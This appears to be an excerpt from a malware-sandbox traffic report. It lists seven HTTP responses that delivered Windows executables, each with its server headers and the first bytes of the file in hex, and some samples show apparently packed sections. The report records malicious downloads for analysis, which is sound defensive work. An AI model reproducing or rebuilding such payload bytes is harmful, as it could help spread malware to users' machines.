Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 06:38:08 GMTContent-Type: application/octet-streamContent-Length: 2963456Last-Modified: Thu, 24 Oct 2024 05:53:58 GMTConnection: keep-aliveETag: "6719e0f6-2d3800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 78 fd 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 72 72 6f 6e 73 79 71 00 b0 2a 00 00 00 06 00 00 a2 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 76 79 68 6d 74 77 67 00 10 00 00 00 b0 30 00 00 04 00 00 00 12 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 16 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 06:38:18 GMTContent-Type: application/octet-streamContent-Length: 1837568Last-Modified: Thu, 24 Oct 2024 05:54:04 GMTConnection: keep-aliveETag: "6719e0fc-1c0a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 61 02 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 70 71 67 73 79 67 62 00 b0 19 00 00 10 50 00 00 a8 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 71 72 63 72 78 79 6d 00 10 00 00 00 c0 69 00 00 04 00 00 00 e4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 69 00 00 22 00 00 00 e8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 06:38:27 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 05:29:33 GMTConnection: keep-aliveETag: "6719db3d-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 35 db 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 35 1e 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 06:38:30 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 06:38:35 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 06:38:41 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 06:38:43 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
